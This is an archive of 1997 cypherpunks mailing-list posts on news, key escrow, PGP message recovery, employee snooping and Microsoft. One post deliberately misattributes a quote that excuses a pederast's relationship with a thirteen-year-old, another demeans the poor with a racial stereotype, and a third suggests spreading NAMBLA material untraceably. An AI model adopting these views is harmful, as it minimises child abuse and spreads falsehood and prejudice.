>    using computers.
>    
>    ``GE in its procuring of supplies and materials can save 15 to 20
>    percent buying online. Some firms can reduce the cost of a purchase
>    order from $45 to around a dollar fifty. New companies like Free
>    Markets Online will run an (virtual) auction for you and cut costs
>    about 22 percent,'' Chatham said.
>    
>    Pittsburgh, Pennsylvania based Free Markets Online targets markets
>    such as plastic injection moulding or metal casting in which hundreds
>    of companies compete for contracts, and sets up virtual auctions using
>    its software to make the cheapest possible deals.
>    
>    HOW INFORMATION TECHNOLOGY HELPS BUSINESS
>    
>    SRI's Trondsen said the use of information technology can create a
>    seamless flow of information through a company so that it can become
>    more productive. Orders flow in and automatically trigger inventory
>    and production decisions which have a big positive impact on
>    productivity. Bills are settled electronically.
>    
>    ``The Internet helps companies find suppliers they didn't even know
>    existed,'' according to Trondsen.
>    
>    Gartner's Rosser said IT can make more information available to
>    workers to let them make decisions on their own where supervisors
>    would have needed to intervene previously.
>    
>    ``It makes them smarter. It enlarges the jobs because they've got the
>    data. You don't have to talk to the supervisor, you see it (the data)
>    and bingo, take action,'' Rosser said.
>    
>    ``This is bringing huge improvements, but we are not seeing this in
>    economic statistics. Now the future is with the Internet, that's what
>    Greenspan was talking about,'' said Rosser.
>    
>    ``This is all about maximising the use of your intellectual
>    capacity.''
>    
>    But won't all this labour saving technology result in huge swathes of
>    unemployment around the world, and leave the competition in places
>    like Europe in permanent second place?
>    
>    SRI's Trondsen said Europe will catch up, but more bureaucratic
>    organisations which lack the necessary corporate culture will have
>    problems.
>    
>    According to Rosser, short term upheavals will become long term
>    benefits for all.
>    
>    ``Well yes, the buggy-whip makers will always go out of business. Most
>    long term studies show lots of temporary problems, but ultimately we
>    will get workers applied elsewhere to produce more goods and value
>    added services,'' Rosser said.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 25 Oct 1997 09:48:32 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Capital hill looking to spend budget surplus [CNN]
Message-ID: <199710250211.VAA27462@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Capitol Hill Looks Ahead To Budget Surpluses
> 
>   Lawmakers are already talking about what to do with dollars that haven't
>   materialized yet
>   
>     [INLINE]
>    
>    WASHINGTON (AllPolitics, Oct. 24) -- With the economy cooking along
>    and government analysts forecasting budget surpluses, lawmakers on
>    Capitol Hill have begun debating what to do with the windfall: cut
>    taxes, pay down the nation's $5.4 trillion national debt, or boost
>    spending.
>    
>    House Speaker Newt Gingrich has a proposal that may please everyone:
>    Do some of each.
>    
>    Gingrich, who appeared before the House Budget Committee on Thursday,
>    said he favors a budget policy that produces surpluses and tax cuts
>    every year, even during the next recession.
>    
>     "We should sustain ... the commitment to get to a balancedbudget and
>    to stay balanced every year," Gingrich said. He addedlater, "It ought
>    to be a surplus large enough that a reasonablerecession won't stop
>    it."
>    
>    Gingrich also favors targeted spending increases, for transportation,
>    science and defense. gingrich
>    
>    Of course, no surpluses have actually materialized yet, so it may be a
>    case of premature giddiness. This year, officials expect a fiscal 1997
>    year-end deficit of $20 billion, the smallest since 1974.
>    
>    White House budget chief Franklin Raines has urged a cautious
>    approach, with no new spending until projected surpluses actually
>    become real. Gingrich, in contrast, said he is willing to put new
>    dollars into defense and science earlier than that, if the economy
>    produces enough tax revenue to accelerate the schedule in the
>    balanced-budget agreement for reducing the deficit.
>    
>    Rep. John Kasich, the Ohio Republican who heads the House Budget
>    Committee, also has said lawmakers should hold off on any new tax cuts
>    or new spending until the budget is actually balanced.
>    
>    In a related development, President Bill Clinton has signed
>    legislation to keep the federal government running until Nov. 7, while
>    Congress finishes work on remaining spending bills for the 1998 fiscal
>    year.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 25 Oct 1997 09:47:36 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Hi-tech sell-off drowns Dow [CNN]
Message-ID: <199710250212.VAA27514@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>    Dow drowns in tech sell-off

>    Blue chips shed over 130 points in second straight day of steep
>    declines

>    October 24, 1997: 5:37 p.m. ET

>    NEW YORK (CNNfn) - Tumbling technology stocks and lingering concerns
>    over the fate of the Hong Kong market dealt a heavy blow on U.S. stock
>    markets Friday with the Dow industrials suffering severe losses for
>    the second day in a row.
>    [INLINE] Dow Jones industrial average closed 132.36 points lower at
>    7,715.41 after starting the day as high as 7,939.61. The blue-chip
>    index lost 0.75 percent Friday and ended the week 1.69 percent, or
>    132.61 points, below last week's close.
>    [INLINE] In broader markets, the technology-laden Nasdaq was down
>    20.33, or 1.22 percent, at 1,650.92, 15.96 points lower on the week.
>    The S&P 500 index fell 9.06 at 941.63, ending the week 2.54 points
>    down.
>    [INLINE] On the New York Stock Exchange declines led advances, 1,508
>    to 1,337, with almost 680 million shares changing hands.
>    [INLINE] Friday's market collapse was triggered by a heavy sell-off in
>    technology stocks after several downgrades in semiconductor stocks and
>    a plant-delay announcement by Intel.
>    [INLINE] Spectrian (SPCT) led losers trading on the Nasdaq, plunging
>    15-7/8 to close at 26-1/4. The stock was downgraded by Morgan Stanley
>    to "neutral" from "outperform" and by UBS Securities to "hold" from
>    "buy" on concerns over future orders. Those worries appeared to
>    outweigh the company's report of 60 cents per share in quarterly
>    earnings, beating Wall Street estimates of 53 cents. The company makes
>    power amplifiers for wireless communications firms.
>    [INLINE] UBS downgraded several other semiconductor stocks, because of
>    concerns over the Asian currency crisis' effect on sales. Among these
>    stocks, Applied Materials (AMAT), closed 3-3/4 lower at 33-1/4,
>    topping the most actively traded list on Nasdaq with over 61 million
>    of the company's shares changing hands. Novellus (NVLS), down 3 at
>    48-3/8, and CFM Technologies (CFMT), off 5-5/8 at 23, were also in the
>    list of downgraded companies and suffered declines.
>    [INLINE] Other technology stocks that took a beating Friday included
>    Intel (INTC), down 1-7/8 at 80, after the company said it would
>    postpone the opening of a $1.3 billion Texas semiconductor plant.
>    Intel said a decline in demand for "flash" memory chips was the reason
>    behind the delay. The plant is now expected to open in late 2000.
>    [INLINE] Earlier in the day, an almost 7 percent gain in Hong Kong's
>    Hang Seng index following Thursday's record point decline spread over
>    into European markets and later also on Wall Street. The Hang Seng
>    gained 718.04 points to close at 11,144.34 in what was its
>    second-biggest one-day point gain.
>    [INLINE] But the good news from Asia was soon outweighed by concerns
>    over the future direction of the Hong Kong market. This, coupled with
>    Wall Street's technology woes, led to a tumble in other world markets
>    too. In London, the FTSE 100 index closed off 21.3 at 4,970.2, and in
>    Paris the CAC-40 ended down 7.84 at 2,849.03. Frankfurt's DAX, the
>    only major index to finish the day in positive territory, gained 73.61
>    to 4,050.87.
>    [INLINE] U.S. bond markets also had a choppy day Friday as the Hong
>    Kong-inspired flight to quality came to an abrupt end. The benchmark
>    30-year Treasury closed 12/32 higher to yield 6.28 percent after
>    testing both sides of unchanged.
>    [INLINE] Gold company shares weighed on the market as well, down
>    steeply following news of a Swiss proposal to sell 1,400 metric tons
>    of gold as part of an overhauling of the Swiss constitution. Shares of
>    Newmont Mining (NEM) fell 3-3/8 to 41-9/16, Barrick Gold (ABX) dropped
>    1-15/16 to 21-5/8, and Homestake Mining (HM) was off 1-7/16 at
>    13-13/16.
>    [INLINE] Among other market movers, cosmetics giant Avon (AVP) was up
>    sharply after its stock was upgraded by several Wall Street firms.
>    Smith Barney raised its rating of the company to "buy" from
>    "outperform," Goldman Sachs raised it to "outperform" from "perform"
>    and PaineWebber raised it to "attractive" from "neutral." Avon shares
>    closed 6-7/8 higher at 73-3/4.
>    [INLINE] Other net gainers included Amazon .com (AMZN). Shares in the
>    on-line book retailer rose 6-5/16 to 60-5/16 because its third-quarter
>    loss was lower than expected.
>    [INLINE] Topping the NYSE's most-active-shares list: Boeing (BA),
>    which slipped 9/16 to close at 48-1/2. The company reported an
>    expected loss of 72 cents a share in the third quarter, compared with
>    a profit of 48 cents in the third quarter last year. Boeing's loss
>    included a $1.6 billion charge related to severe production delays.
>    [INLINE] IBM (IBM), after posting gains early in the day, succumbed to
>    the technology sector's decline and lost 2-1/4 to 98-1/8. Among other
>    stocks that took a hit were Texas Instruments (TXN) which plummeted 9
>    to close at 111-7/8.
>    [INLINE] Computer retailer Gateway 2000 (GTW) shares were down 1/2 at
>    30-3/4 after the company reported a loss of $107.1 million, or 68
>    cents a share, after the market close Thursday. The loss included a
>    $113.8 million pre-tax charge and compares with a profit of $60.7
>    million, or 39 cents a share, in the year-ago period. Link to top
>    [INLINE] --by staff writer Malina Poshtova Zang
>    djia
>    Dow Industrials





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joubin <joubin@inch.com>
Date: Sat, 25 Oct 1997 09:35:21 +0800
To: "cypherpunks@toad.com>
Subject: Request for expert opinion and Feedback
Message-ID: <34514B35.AE826953@inch.com>
MIME-Version: 1.0
Content-Type: text/plain



(This message seems to have been dropped.  If you are recieving a
duplicate, I apologize.)



Hello all,

I am involved in a project which aims at the creation of a free and
portable Java(tm) based object operating system.  A basic functional
requirement for this new OS is to provide /fast and effective/ strong
cryptographic support at the OS level.  

The basic structure of the system is a layered architecture, with the
lowest layer consisting of a platform specific (non-portable) kernel
supporting an embedded JVM (again in C/ASM) and a set of Java(tm)
interfaces to this 'virtual platform'.  The OS proper will sit on top of
this and will be 100% Java (tm).

The issue:

As you may know, SMI has and will deliver a set of 'security' packages
as a standard component of JDK.  This uses RSA technology.  Basic and
general 'interfaces' to encapsulate constructs such as Key, Provider,
Cypher, etc. are also defined.  

A few people in the project group feel that many different groups and
entities out there will provide (portable) Public Key encryption
packages (implemented in Java(tm)) that can be used by the users of the
OS.  They argue against embedding computational support at the Kernel
(non-portable) layer as wasted effort.

Others (& myself included) feel that 'effective' also means efficiency
of execution.  Specially so if such functionality is to be used to
encypher 'streams' and such (if that is possible).


Your expert advice:

a) How do you feel about 'where' the computational support should be
   implemented ?

b) Assuming answer to (a) to be "At the kernel level and in C/ASM", is
   it possible to achieve a fine-grain modularity in terms of fairly
   generic algorithms and computations which can then be combined in
   conjunction to support a variety of encryption strategies ?

c) Is there any benefit to implementing the random number generation
   system in the Kernel?


Your input is greatly appreciated.  If you feel there are other
considerations to be made, please let me know.


Thank you.

Joubin

p.s.  Java(tm) and related items are the tightly guarded property of Sun
Microsystems Inc.

__________________________________
member, alpha zero LLC
joubin@inch.com
NoVA
__________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 25 Oct 1997 10:12:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: GMR in the talked-about form here would be unconstitutional
Message-ID: <6f980666652932da279b9543e8ca48dd@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Tim May wrote:
>Will a "must encrypt to government key" provision pass constitutional
>muster? I don't think so.
> 
>So long as the First and Fourth (and the Fifth may apply, too)
>Amendments remain in force, compelling a person to speak in certain
>ways and monitoring what he says privately without a proper court
>order is unconstitutional.
> 
>At least the convoluted stuff in Clipper about "LEAF" fields,
>splitting of keys between agencies, proper court orders, etc., had
>the "fig LEAF" of protecting some basic constitutional rights. A
>straight "encrypt to the government's key" is too crude to withstand
>any court scrutiny.

In practice it could be implemented as "any government key" where
there are, perhaps, a few thousand to choose from.  Each key is
administered by a small group of "trusted" bureaucrats.

No one person need control the secret key.  There are key splitting
systems so that the key is active only when N number of people insert
their cards into a secure box, for instance.  And, of course, we will
be told that the "trusted" bureaucrats will only collude to decode
messages when a warrant has been issued.

This would be enough to eliminate most of the concerns regarding
warrantless searches for any court which was more sympathetic to GAK
than the Constitution.

As for free speech issues, if certain thoughts and images are illegal,
such as those deemed to be "pornographic", it shouldn't be much harder
to claim that a bunch of bits of the wrong form is actually a
technology issue and unrelated to free speech.  The same goes for
source code.  There are all sorts of rules about what kind of
"technical data" may be exported which are certainly far away from the
original Constitutional vision.

Hopefully, the courts will protect the Constitution if the other two
branches are unwilling to do so.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 25 Oct 1997 12:45:56 +0800
To: cypherpunks@toad.com
Subject: Declan speaks out on NAMBLA and TIME
Message-ID: <3451767E.3100@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



~~~~~~~
SECONDS: Is there any activity that should be forbidden?

DECLAN: I'm not in the business of making laws like that. I don't know
exactly how to define what's underage and what's intimidation. Kids have
to be protected and I sympathize with those who want to write a law. I'm
just saying you have to control the bureaucracy and be extremely careful
about demagoguery. At the moment, there's too much demagogic hysteria 
for people to be thinking sensibly about it.

SECONDS: Does it help the government get further into people's houses?

DECLAN: Another pretext for extension of police apparatuses. Another 
excuse for the government desire to be able to snoop in on any 
electronic conversation. It's a useful thing to get votes. I would say 
where force and violence are involved, where mental violence is 
involved, there's a fine line. What about some thirteen-year-old kid 
whose parents have beat him up and rejected him and is out on the street 
looking for love, hungry, taken in by some pederast who treats him 
nicely, gives him an education, sleeps with him - what are you gonna do? 
What humanely should be done? How are you going to make the distinction? 
The cops don't make the distinction. The law doesn't make the 
distinction. NAMBLA's good for making public discussion on this issue, 
discussing what should be the right laws. People want to scapegoat the 
discussion. They're willing to talk about it publicly all the time and 
bust people but sensible discussion seems to be out of the question. 
I've been accused of being a child rapist simply because I went on the 
air and said I was a member of NAMBLA. Ten years ago, I saw in Time 
Magazine an attack on NAMBLA saying it was a group involved in "the 
systematic exploitation of the weak and immature by the powerful and 
disturbed."
At first reading, it struck me as a precise characterization of Time's 
own assault on the American mind. 
~~~~~~~~~

  OK, so it was really Alan Ginsberg who said the above. I'll try and
put the universe back in balance, later, by attributing some of Declan's
comments to Ginsberg.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Sat, 25 Oct 1997 14:10:13 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Saving money
In-Reply-To: <199710242206.RAA26328@einstein.ssz.com>
Message-ID: <19971024230425.23878@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Oct 24, 1997 at 05:02:54PM -0700, Tim May wrote:
> At 2:38 PM -0700 10/24/97, harka@nycmetro.com wrote:
> 
> >Sometimes it seems, as if the people advocating the
> >"business-reality" are furthest removed from it.
> >
> >The "just don't work for them if 'ya don't like it"-argument  will
> >last about 4 weeks...the approximate time a human can survive
> >without eating. (or a couple of weeks less, if you have kids)
> 

[Standard "born on third and thinks he hit a home run" rant deleted]

This was such a pathetic self serving self paradoy on Tim's part that
I had to check the headers for "sympatico". 

> There's no excuse for being "trapped in a job."

How about having an IQ of 85? Substantial fraction of the population,
after all... Oh -- I forgot -- broken eggs and all that...

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 25 Oct 1997 14:41:21 +0800
To: CYPHERPUNKS@ssz.com
Subject: Re: Saving money
In-Reply-To: <199710250528.AAA28050@einstein.ssz.com>
Message-ID: <v03102800b07742497420@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:00 PM -0700 10/24/97, harka@nycmetro.com wrote:

>[american dream deleted]
>
>While I am glad for your achievements, you have not addressed my
>point: all this doesn't apply to the larger mass of people.

As I recall your point, it was that most people are a few weeks away from
running out of money and hence cannot change jobs readily. I was saying
that a small amount of self-discipline and sacrifice can quite easily
translate into having a few _months'_ worth of savings.

Granted, this takes discipline, to put money away instead of spending it.
But even minimum wage workers are quite capable of saving...this is how
many move out of minimum wage jobs into running their own small shops or
businesses. Examples are legion.

If they won't make these spending tradeoffs and have not even a buffer
sufficient to carry them through a month or two or three, I say screw them.

I won't support restrictions on what a company may do, when perfectly
legal, just because Joe Sixpack spent his paycheck on beer and is now
afraid to look for a job with a better company. Or because Rawandala Brown
spent her money on crack and now is "trapped" in a job.

>You were fortunate enough to be in the right place at the right
>time...one of the founding-members of a company in an industry,
>that pays way more than average and thus brought you into the
>position, that you're in now. Great...more power to you and I
>encourage everybody to try the same.
>
>But that's not applicable to the larger percentage of the
>population. Besides, it's a supply and demand question.

The Mormons teach self-reliance, and savings. So do other religions and
belief systems. Many of them urge their followers to have money put aside
for just these kinds of situations.

As I said, even minimum wage workers have a proven ability to save. If they
won't, this is there problem. "The Grasshopper and the Ant" is far more
important for children to read and internalize the lessons of than the
currently-popular "I Have Two Mommies" crapola.


>
>If encryption is outlawed, only outlaws will have encryption...

Don't you mean, in your world view:

If success is outlawed, only failures will succeed.


(I urge you to think about how your criticisms of the free market fit this
aphorism.)

--Tim May




The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Sat, 25 Oct 1997 15:32:35 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: PGP, Inc.--What were they thinking?
In-Reply-To: <19971022174359.10769@bywater.songbird.com>
Message-ID: <19971025002707.17636@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Oct 24, 1997 at 02:42:19PM +0100, Adam Back wrote:
> 
> Kent Crispin <kent@bywater.songbird.com> writes:
> > It may be less obvious, but despite what PGP claims, a significant
> > fraction of this demand is for the ability to SNOOP, and not just data
> > recovery.  
> 
> I was suspicious about this also, the CMR design makes much more sense
> if this is the user requirement.  Binding cryptography also would make
> sense for this requirement.
> 
> But the last time I expressed this suspicion on this list Jon Callas
> clearly stated that this was not the case:
> 
> Jon Callas <jon@pgp.com> writes:
> :    It is possible that
> :    there is an unstated perceived user requirement, that the messaging
> :    standard be able to allow third party access to the communications
> :    traffic directly.
> : 
> : Nope, that's not what we're arguing for. 
> 
> So it would appear that your suspicious are unfounded...

Jon's statement and my statement are consistent, if you look a little 
more closely.

> > *All* the debate on this list implicitly takes the employee's side,
> > not the management's side, and that is a serious lack.  The
> > unpleasant fact is that managers NEED TO BE ABLE TO SNOOP.
> 
> Okay!  Some one who is able to say the unpleasant words.  (I think
> Lucky may have been hinting at this also).
> 
> If this is the case, I reckon it's still better to just escrow their
> comms keys locally. 

In my early days on the list I spent a great deal of effort arguing
exactly this point, perhaps even with you.  Perhaps you recall my
discussions of the "key-safe" model.  (I suppose we could check the
archives...) At that time, however, my proposal was branded as key
escrow and hence evil, and the STANDARD REPLY WAS THAT IT WOULD BE
FAR, FAR BETTER TO JUST ENCRYPT TO A COMPANY KEY AS WELL AS THE
PRIVATE KEY.  *You* may even have made such arguments. 

Now that PGP has actually gone and implemented exactly what some
months ago was the preferred alternative, the jack-rabbit meme-ridden
collective cypherpunk semiconciousness awakens from its hazy stupor
and says "Huh! GAK!", and parades Key Escrow as a safer solution.

So, for sure, either the thinking those months ago was shallow, or the
thinking now is shallow.  The third alternative, that the thinking has
remained at a constant level, is interesting to contemplate.

> Put them all in the company safe, whatever.  To
> go with this kind of a company with this kind of policy, I would
> presume that sending or receiving super-encrypted messages would would
> be a sackable offense.
> 
> However, there is an alternate reason for the CMR design, which you
> don't include above (tho' you did I think discuss this earlier):
> 
> That PGP Inc thought CMR would be easier to implement within their
> plugin API, and dual function crypto (file encryption, and email
> encryption), and to cope with things like encrypt-to-self on Cc: to
> self to keep copies.

Yes, I did mention the matters of history, backward compatibility, 
and expedience under tight schedules as important factors.

> > It is terrible to work for an employer who will snoop, but it is 
> > just as terrible to have dishonest employees.  It doesn't take a 
> > genius to realize that the existence of dishonest employees is a
> > primary motive for management snooping.
> 
> Even with snoopware such as you describe, and companies with such
> attitudes, there are other similarly easy ways to get data out: user
> walks out of building with floppies.  In fact from memory I think this
> was one you suggested: "frisbee DAT tape out of window to sweetheart"
> or words to that effect.

I don't remember saying that, but the point is obvious, anyway.  The
argument that leaking company secrets is the primary concern is
fallacious for exactly the reason you mention -- there are a thousand
ways to leak data out. 

There are other, more realistic concerns.  Is the employee exchanging
encoded gif images with his friends? Is the employee telling the truth
about an exchange with a customer? Is the employee spending all his
time reading mailing lists devoted to home-brew-beer, and other
hobbies? Is the employee distributing porno images from an ftp site on
a company computer? Is the employee running a consulting business on
the company computers?  For investigating any such suspicions, 
snooping incoming mail would be just as valuable as snooping outgoing 
mail. 

BTW: You may laugh -- But I have seen real-life instances of each of
these examples.

> > Clearly, there are some organizations for which this is more
> > important than others -- financial services companies are only the
> > most obvious example.
> 
> Maybe.  If PGP Inc want to go this far, and design software with these
> features, I reckon local key escrow is better.  

I reckon local key escrow is better, myself.  But be real for a
moment, Adam.  If they had designed a system with "local key escrow"
they would have been crucified by the butterfly brains on cypherpunks
far more intently than they are being lambasted for CMR.  The very
phrase "KEY ESCROW IN PGP" would have turned the cypherpunk group mind
into quivering jelly. 

> However that is not
> what they are saying.

It doesn't matter what they are saying, really.  They designed 
something with a set of constraints, one of which was the meme of 
antipathy to anything that could be termed "key escrow".  

I understand what Lucky meant when he said that PGP had pulled the
greatest hack ever on corporate America.  It's so good that you have
to conceal your mirth, for fear of screwing it up... 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 25 Oct 1997 15:52:19 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: NAMBLA embattled -- mirror sites?
In-Reply-To: <Pine.GSO.3.95.971024181115.26025B-100000@well.com>
Message-ID: <v03102801b07750d7df7a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:14 PM -0700 10/24/97, Declan McCullagh wrote:
>Folks on f-c and cypherpunks have mirrored holocaust revisionist web
>pages, banned books, and censored newspapers. Now I understand that NAMBLA
>is in danger of losing its home on the web. Anyone up for mirroring the
>(text-only)  publications of perhaps the world's most controversial
>organization?

This is one of several types of information too dangerous to mirror. Most
mirrors have involved stuff those damned furriners have banned, like
Holocaust denial info, the Mitterand book, the Homulka-Teale material, etc.
It's pretty safe to mirror stuff banned in Germany, Israel, France, Canada,
etc., but not so easy to mirror stuff banned in the U.S., or highly
controversial material.

Mirroring the NAMBLA stuff could be a severe career-limiter, for example.
Even if not strictly illegal.

(Recall that a student, who shall remain nameless here, mirrored some
controversial stuff at his Ivy League school. He was almost kicked out of
the graduate school program he is in, as I recall the story (but this was
about 2 years ago, so my memory may be hazy). After withdrawing the
material and promising to stay in line, the situation cooled down. Imagine
his woes had he mirrored NAMBLA material!)

Other too-dangerous material would be, for example, U.S. defense secrets,
personal medical files, material ordered closed in court cases, etc.

These are areas where untraceable data havens really shine. My own
Blacknet, as an example. If the NAMBLA material were to be periodically
sent out via remailers, to Usenet, censorship would be nearly impossible.

And so would traceability and, hence, culpability.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 25 Oct 1997 13:02:25 +0800
To: CYPHERPUNKS@ssz.com
Subject: Re: Saving money
Message-ID: <199710250528.AAA28050@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

 > At 2:38 PM -0700 10/24/97, harka@nycmetro.com wrote:

 > The "just don't work for them if 'ya don't like it"-argument
 > will last about 4 weeks...the approximate time a human can
 > survive without eating. (or a couple of weeks less, if you have
 > kids)

 -=> Quoting In:tcmay@got.net to Harka <=-

 In> By my third year out of college, I had a big enough cushion of
 In> saved cash and other investments

[american dream deleted]

While I am glad for your achievements, you have not addressed my
point: all this doesn't apply to the larger mass of people.

You were fortunate enough to be in the right place at the right
time...one of the founding-members of a company in an industry,
that pays way more than average and thus brought you into the
position, that you're in now. Great...more power to you and I
encourage everybody to try the same.

But that's not applicable to the larger percentage of the
population. Besides, it's a supply and demand question.
Computer-jobs only pay that much because it's a booming industry
right now and there are less people than needed. Fortunate for
those who were/are able to ride the wave.
But if the available work-force exceeds the demand for it, such
jobs wouldn't pay nearly as much as they do right now.
Hence, achieving financial independence to the point of freely
choosing employers would become much harder again.

But this is the reality for MOST people (outside of the
elite-industries) already! Especially if they start out with
student-loan-debts amounting to several ten thousands of dollars.
Add a family/kids to that and you tell me how easy a task it will
be to quickly become independently wealthy.
(Some people will be able to pull it off somehow, most people won't
- - despite their wishes to the contrary. Should they make their best
effort? Absolutely! Will everybody succeed? Absolutely not.)

The background of this discussion is the free choice of employers
(based on their policies). My point is, that for the large mass
there is no such thing as a free choice (of employers), not
necessarely because they're not willing to improve their financial
standing to such a degree (who doesn't want to have more money?),
but because they don't have the time, resources and conditions to
do so.

But even IF you were able to "make yourself more marketable" (as
WHGIII eloquently composed)...if ninety percent of businesses in
the country use the GAK/CAK-feature of PGP 5.5 how much free choice
will then remain for you?

 > I.e. unless you are the super-duper, three-times
 > nobel-prize-winner (with lots of money in stocks), who can
 > AFFORD to choose employers that freely, you will be DAMN GLAD to
 > have a job AT ALL, regardless of their policies!

 In> More nonsense. Move out to the Bay Area, if you have any
 In> talent at all in software or hardware or biotech or Web design
 In> or multimedia, and you'll find jobs galore.

I'll invite you in return to move to Brooklyn, NY to find out for
yourself how easy life is for the non-elitists. Or maybe just take a
walk around your own town.

The truth is, that there are many people outside of Cypherpunks,
who get barely through life _despite_ making efforts. They may get
enough salary in their 9-5 job to maintain themselves to a degree,
but not nearly enough to have the complete freedom, that is the
issue here. And to say, "they get what they deserve" (if they don't
have the abundance of dollars/freedom) is rather narrowminded and
out-of-touch with most people's reality.

But these are the people determining if GAK/CAK ever becomes
widespread. If companies employing it would face extinction, because
nobody would work for them anymore, GAK/CAK wouldn't succeed.

However, capitalism doesn't work that way, despite of the few who
made capitalism work for them.

Ciao

Harka

/*************************************************************/
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

... By the time you can make ends meet, they move the ends.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBNFF8ijltEBIEF0MBAQFvFAf/TtywGVY8r6JKPljBzQjFAUZuDTrQiISZ
qxUAMN6PhXz/fvDHqAJAPSnGiUkMf1goEI0NNG7cpZkdIaayz8PI33JzV9g5dypl
lrUGb65+qzuMBi4+RhYbwWJQe44NOUzNDaZJdc0q3m6LDhXOrMLUoCt/i0b+KdB+
E68FAPBkOsYAgU8ooi4EeQkgabsEJRx5Hf4VB0Y0r3xcY5DBm7AbIpResU2xg9Xm
ySZPsOpRA/PmFS3wOqoSJQIyZeeOx0k2rKVVNGsRYrtsfvVXj8wGegujRACXnGJF
wL+7IIwkosOUESs93LWCQ6CwqsefpQBCrKE0mACxP9F03P4rXEXaGA==
=rRS/
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Sat, 25 Oct 1997 11:34:24 +0800
To: cypherpunks@cyberpass.net
Subject: M$ coercion -anyone doubt my previous claims of Gate$' immorality
Message-ID: <19971025.030404.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

from ZDNET

> As shocking as this [IE requirement] is, the most
> unsettling revelation is the news that Microsoft required
> its {OEM } "partners" to report any planned contact with
> government officials. If that's not illegal, it should be. It
> implies a threat of reprisal if OEMs so much as inquire
> about their rights.

    like I have said again and again: Gate$ has the basic TS
    trait of "the rules dont apply to me" in spades.  lawyers
    will add their wildest dreams to contracts; Gate$ carried
    the responsibility to exercise common sense --he did not.
    his overwhelming drive: "veni, vidi, vici" is all consuming.
    his temper tantrums are legendary: classic TS.

    yes, the restriction on planned contacts with the government
    is illegal: it constitutes "obstruction of justice" -in
    fact, I would say it is probably the most prima facie case
    of it I have ever seen. it is a slap in the face to our
    basic concept of fairness and the rule of law.

    I vote that the DOJ initiate the criminal phase of the
    Sherman and Clayton acts.  I have always accused Gate$ of
    having lower morals, and dirtier hands, than Cornelius
    Vanderbilt or Jay Gould.

    the argument that dismembering M$ will throw the computer
    industry into total disarray is bullshit.  No, it will
    permit other operating systems and software to enter the
    market. the divested software components can be distributed
